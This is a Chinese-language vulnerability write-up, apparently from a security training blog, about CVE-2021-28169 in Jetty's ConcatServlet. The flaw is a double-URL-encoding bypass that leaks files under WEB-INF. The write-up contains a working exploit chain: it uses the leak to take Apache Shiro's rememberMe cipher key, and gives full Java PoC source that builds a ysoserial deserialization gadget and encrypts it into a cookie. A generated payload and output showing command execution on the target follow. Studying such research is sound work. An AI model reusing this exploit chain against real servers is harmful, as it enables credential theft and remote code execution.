CVE-2021-28169

2022-01-25 11:21:12 浏览数 (1)

此漏洞已修补为CVE-2021-28169,在某些环境下,它可能导致特权/访问权限提升甚至远程代码执行!

顺便说一句 - 如果您没有在 2021 年 7 月上课,请不要担心,我们将在今年晚些时候开设另一堂课。

事实证明,该jetty-servlets库在org.eclipse.jetty.servlets.ConcatServletservlet 中包含一个漏洞。如果暴露,这可能允许攻击者泄露敏感文件。

Jetty Utility Servlets ConcatServlet 双重解码信息泄露漏洞

doGet方法内部,我们看到以下代码:

代码语言:javascript复制
/*     */   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*  88 */     String query = request.getQueryString();
/*     */     ...
/*  95 */     List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/*  96 */     String[] parts = query.split("\&");
/*  97 */     String type = null;
/*  98 */     for (String part : parts) {
/*     */       
/* 100 */       String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/*     */       ...       
/* 108 */       if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/*     */         
/* 110 */         response.sendError(404);
/*     */         
/*     */         return;
/*     */       } 
/*     */       ...
/* 128 */       RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */       if (dispatcher != null) {
/* 130 */         dispatchers.add(dispatcher);
/*     */       }
/*     */     } 
/* 133 */     if (type != null) {
/* 134 */       response.setContentType(type);
/*     */     }
/* 136 */     for (RequestDispatcher dispatcher : dispatchers)
/*     */     {
/* 138 */       dispatcher.include(request, response); // 4
/*     */     }
/*     */   }

[1]处,代码会进行 url 解码,然后尝试规范化攻击者提供的路径。然后在[2]处检查该路径是否以“/WEB-INF/”或“/META-INF/”开头。稍后在[3]触发,最后RequestDispatcher[4]include触发。

问题是可以绕过[2]处的检查,因为它RequestDispatcher还将处理 url 解码。因此,攻击者可以在其受控路径中对遍历或WEB-INF/META-INF字符串进行双重 url 编码。这将实例化一个有效的调度程序,并从 Web 应用程序的根目录泄漏攻击者控制的文件的内容。

影响

该漏洞仅限于 Web 应用程序 ROOT 目录中的文件泄露。但是,在某些情况下,这可能允许攻击者进一步升级。让我们用两个例子:

  1. Spring - 特权/访问权限的提升

在这种环境下,可能会从application.properties文件中泄漏敏感属性,例如 spring.datasource.url、spring.elasticsearch.rest.password、spring.h2.console.settings.web-admin-password、spring.influx.password、 spring.ldap.password 等

  1. Apache Shiro - 远程代码执行

在这种环境下,可能会泄漏包含securityManager.rememberMeManager.cipherKey. 此密钥可用于通过rememberMecookie 中的反序列化来获取针对应用程序的远程代码执行。

概念证明

如果您在自己的 Web 应用程序上进行测试,请修改您的web.xml以包含易受攻击的 servlet:

代码语言:javascript复制
  <servlet>
    <servlet-name>Concat</servlet-name>
    <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>Concat</servlet-name>
    <url-pattern>/concat</url-pattern>
  </servlet-mapping>

或者,您可以在挑战图像上对其进行测试:

代码语言:javascript复制
docker run --name fswa -it --rm -p 80:8080 registry.gitlab.com/source-incite/fswa-challenge/rceme:2021

现在我们可以利用漏洞泄露密钥:

对不起,我忽略了shiro.ini文件中的所有用户名和密码!事实证明,Apache Shiro 在其类路径中使用commons-collectionsv3.2.2 和commons-beanutilsv1.9.4。这足以让我们从ysoserial生成一个小工具链。

将其包裹在加密层中,我们可以实现远程代码执行:

代码语言:javascript复制
researcher@incite:~$ java Poc 
( ) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>

researcher@incite:~$ java Poc kPH bIxk5D2deZiIxcaaaA== "touch /tmp/pwn"
( ) using key kPH bIxk5D2deZiIxcaaaA==
( ) rememberMe=PN8ZQYXmwp pLGv7BUqA8WmmnB0xFk420NKLjaUcTWgpmIabZ3LoC8zb2NA1xf4URUZptPD6x/7pzl8WkmjD7DWSTLbLQH9Wqr6hxedjgQris4K6R3HMWuZfAdKWgrV0uomhfqJiA8KpsJvjqWP3p/NcBoeyzHQcG8KxoNBk1slT2Vj78GqL5Uu1DLJrCyo2IgS0UE1A5NgvW8i5FDvSDehFMR9gub83yZtuKU/ia/yehchHv2T7nmhskrzKU5hwyfkERcs0re8MQUVHqzQt C6cHs119DBIJxnKGmednYxnUe9S2ewGvHZd6j/7Yh92ootlz34dcayQnhO/eCi/gUOqoOuawijywH0quakUqNqldKctYC7JaJTtkma0fKoHhxvKZwqSjAA1miSjjzOxUtz BdM6byZMrgLkTdySMz piJYvrcjmR4saXsMhkgOmnUITahvpftRcm46 DrJh8fd5p1lVcjc8p/ysfjSIgODau6be6QlxjX9A5DiTt0jFeWSFhNl0oQYWExT7CLPHid xVoALso8OHVgw0vQVZ1Nle5z1QyidP86u0N8HQRWyILGazY8yOrdfp0fK1gAifN2p1 0gXLp6M/6fIInEKXi53dP64UmcGkVUvvNEIeQ62J35F0KbW2r2vgSkJufd97mtoP4g2zqSsbzkn2z9BcNbs6K3CU8a7P88bmhFgfooixh2FvLpPE2xP3ZyUYxMHTTDHFIXqYYtwLVkf1Z/vQN5QqaqALtILJr7igMW98CwqM/Os1tqO pVFRMWKxM43lnMAvbIo/3MwDCDVRXbU8XzG7vTWdWGztsMPX/psZtgCe62ZS1OTUT/BRY5XA NZGOu1M2OdhThc5o K58K/mMSTZgjaTXeT3CuPTgrpOE9FPgrhPdQXnSZfJBx3Pv EFOa7Rp1HsPx0Zir71HR0kmqal56QQ6uYe02iq6 I798Q9ESJwn0XpzE4JSek5uFUF031n9Ieo4DaR4jRz3vLMSP1lS81ZgkIkP0fATMPP5vuipr5 BwynxaoeeGdPBKk8VzupBP qahtiYJ4f8icsOHtG2/U2ka54zfjpnuTJ3K4gXA0RPZz8WOodNsDOtMMNXzsaLQg6Z1L1fcwawCAkqTCmqkTgBEpF13OemZFkS35LlriDT0XGoGq90oIvAOASBifgqy4mReSwEFmap12ECeemN58gaFyylMPcgLfIqOFZbIYqCvpbvgihVMBh7K2KJUFVU1gfpCfydxtJQAMfjCJ agNYDvNM93JIkVctOw0YoPGU0Znv6Tu8g8flh8F/SRZ9gy8jTZ1o8m9PgqPsk4PlT0/anB0lY5WFf04oHK1FpS72DKegAaG/zA6UcBO7MI9SgGxm4Dv8vDHUvf5LTwoqxmD2pdnUGQFRtJxwOKEZyUUNdU4yNGg1FBQb2hkxVl/UfMvjjALfSEfkL9AaLWkf//8xqqWLsrij/8 8hH4qayr9UfEZSHLgfLtp2lk/l195ra0zCVfjocTljcnQx452qEDdJRHmujFPXb/auPW7mhCI1xiNldlIrGcrrjqkF/o9Y8w4Qpn32FMldn97Tw3Xn6Gy5eBDf6suAiCrPtv9fNEnFx ybES8OKLUoe5lMxXPkSW8CxkbcbS8NcWxQOMmL2a8R1o9C589djLMYi31QQbRyQ9m/4g2 tFTy31S/79dwVo7J6GIKBtd3a4SvhK36rEOr13yAvaI995Z3w5Xs2yTeJIm1F649fRI/kIK9DXH5sUNodrukxuOPbc9y3a79uwYMYUR76iH5H5SvvblnAbu0bAByJHpGm0e UtR0gGYle jgRqYCXgzk1/AGqdvgj788UqJDgWF2/SCCaHVekhfbfUkcRAV5qMc/y8OAML8s5 O5/6PcrQ0k/8i5lQ/TBYMZ0mHl7AR38fgSP0Bh7L 20NK49 gaqTXBtJ2Jdhhy pTz6OolV8w43pCiXoRNPc H2Da3DL7gG/4dDedIM qDeN37Yy1VpR8qUmwlYYiV2 bohxBFG5gwTMn4v6dLVOrPI h62qhGdOfWacf2fBsD/KXnLV08eirWdrtT7D7aw11C4gp1Qq4RqiemgV /iiwLW F0jvMwXD2/zvv ukVE2Su9NORFFQqSTFsJCvXujXziRQ511i5wHq K5qnFQ 2MPZeilpw ak/HYD38PAuxxb42TUR8FrqfTFlL7HGuWxYSg8TRjaLGzMZdh4CNxiGBlaet2k9HtlEWcEhnn/Fs9FUOvIGqcgf2QvdFQH9AwAVqvS92T1uVx87OzbfZTjqb7FOphQxA7qjVKFHxmY0XOEydfpvbu42d9RGxDws09JN2Co0bKS2wKOpq421ItY6N3BP5TfeSqwwbBKp9I1F6fslZv8TJBNMJ6yqd49 D RoWoJ0a4OByIsLs49WBTJdKk4Axm1QaM3PZKvv1qSwxUGaqkP2ygWkUe7butcM4Snxkr1gStNe5FBcMOR955lLO qLyDxeszidJ10b4YkGYga76Y0ddW5M6Xg7kBvXVhmmrBxPhf/fvo3HeWFTSM45vWdGTVQMeKtolOtiDXf8Mif08Dd/HDd8GX6XYd9fh47s708P/8 1j6wVUuN2wu52c1OqihXYh8tzOq/ eb2V naw6LM1wKvo0ZS/cpC61Ga Qi6xpGD6mTfYXcMdfOSm0XKrazlbqmDZeliZKFudH7g5d8IYyeZsWnGxnOwEg74jC4oG9m5vqXqnLM4 /0RI8uLobqbHMxSxw5Q/ty5OJYCwnWy3SlvVtYWsUGa6PAK45 hxDx7Gooj8WNBfu cN2aW7iO/yU0JPB8DnUPl7WdzzSb2Bge5MQfn5Xg7fGnz95szAAOCHByK2ZwGR RlZZh/rbS9OTQIilP2qNKyST93vhthf99K HXRGIP91ULw8Y4CJNtlveCEoSjpeKdno66AbbXYGQXsSLdhkc/DBPq/FD5bnrAAl8V1WG2XISCuRwrFbUky0QdlZSv9CbgTfIDOxyrzseD8Jx00iazjINq5c5u3v BRDJ7HyQGR4e71E1 qz0M/7u/scoORwfc3z6GnQeN4WgLquf7FGXEPeMr/8CVk8cMspqgLZgq z7uwHnhGOrnX6S4lh09jB9Qoz8lImjA1VXYOz92At3xc7KzangPzFF5hs3QnVzbxoXATFhRt3Y0XLsR9Sl3g63h153vG JRcEDDTqWT632KKviPLQASvVDM4gbDxaEckXUQ3ZbeTYlIbeAhOcM9OZxEqW3x24OEbQU82OeKYf/xf08uwVbfhbC7yB/V/EBArWjSz5sxnRMsVZ2GDv51s7FxLmMNx0ALQvus6iKGbCNrM7Km9/ptP2K 4gLkWY44ncPaiZV1ts9Ka3ruAHB3lnKubs4I1IAQ0ybHY/H8LvXhf15Hp0AXvwH Y6ykau9meIEfyg/O6IWXHudPsHlx9OCqV0jmfRW/neAEr/JS8NiAB4yp6HWN90amwe6LAYFhZWZSGPsyKslJOly6CpDWgcCtmoCiHKEqNH IP8PqrJnp7SXtXoq4J8dUmjGx7wnUXdt1QbuDJnsojjPY1FKANfH2US8T/1ameUuUsU951GNEEc0hAvpvnaCcgrTsDPjwlnNCEpvHWEZ8wo//D/4i2TplpYminV9Ss3oxGGdmVnqSK9PaEQt6w8dvpxxxN0p6irOLJ3B5GKlg/cT b1 B/AmqBjJGxBWMhRKDd4dFQ3tKRtI0syHKTIKfkU/jc Ki8TantKk=

现在,我们将 cookie 发送到针对任何端点的服务器:

完毕!

代码语言:javascript复制
student@target:~$ docker exec -it fswa stat /tmp/pwn
stat: cannot stat '/tmp/pwn': No such file or directory

student@target:~$ docker exec -it fswa stat /tmp/pwn
  File: /tmp/pwn
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 33h/51d	Inode: 1452414     Links: 1
Access: (0644/-rw-r--r--)  Uid: (  999/   jetty)   Gid: (  999/   jetty)
Access: 2021-04-29 18:33:26.410256760  0000
Modify: 2021-04-29 18:33:26.410256760  0000
Change: 2021-04-29 18:33:26.410256760  0000
 Birth: -

…当然,Poc.java这主要是复制了 从 Apache Shiro 借来的:

代码语言:javascript复制
package shiro;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import org.apache.shiro.crypto.cipher.*;
import org.apache.shiro.lang.util.ByteSource;

public class Poc {

    public static void main(String[] args) throws Exception {
        if(args.length != 2){
            System.out.println("( ) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>");
            System.exit(0);
        }
		
        // Timo's idea to recycle shiro libs
        AesCipherService aesservice = new AesCipherService();
        aesservice.setModeName("GCM");
        aesservice.setPaddingSchemeName("NoPadding");
        aesservice.setStreamingPaddingSchemeName("NoPadding");
        CipherService cipherService = aesservice;

    	String key = args[0];
    	String cmd = args[1];
        System.out.println("( ) using key "   key);
        byte[] fdata = null;

        // commons-collections 3.2.2 & commons-beanutils 1.9.4
        Object payloadObject = Utils.makePayloadObject("CommonsBeanutils1", cmd);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        try {
            out = new ObjectOutputStream(bos);   
            out.writeObject(payloadObject);
            out.flush();
            fdata = bos.toByteArray();
        } finally {
            try {
              bos.close();
            } catch (IOException ex) {}
        }
        System.out.println("( ) rememberMe="   
            new String(
                Base64.getEncoder().encode(
                    cipherService.encrypt(
                        fdata, Base64.getDecoder().decode(key)
                    ).getBytes()
                )
            )
        );
    }
}

参考

  • https://docs.spring.io/spring-boot/docs/current/reference/html/appendix-application-properties.html
  • https://shiro.apache.org/configuration.html

0 人点赞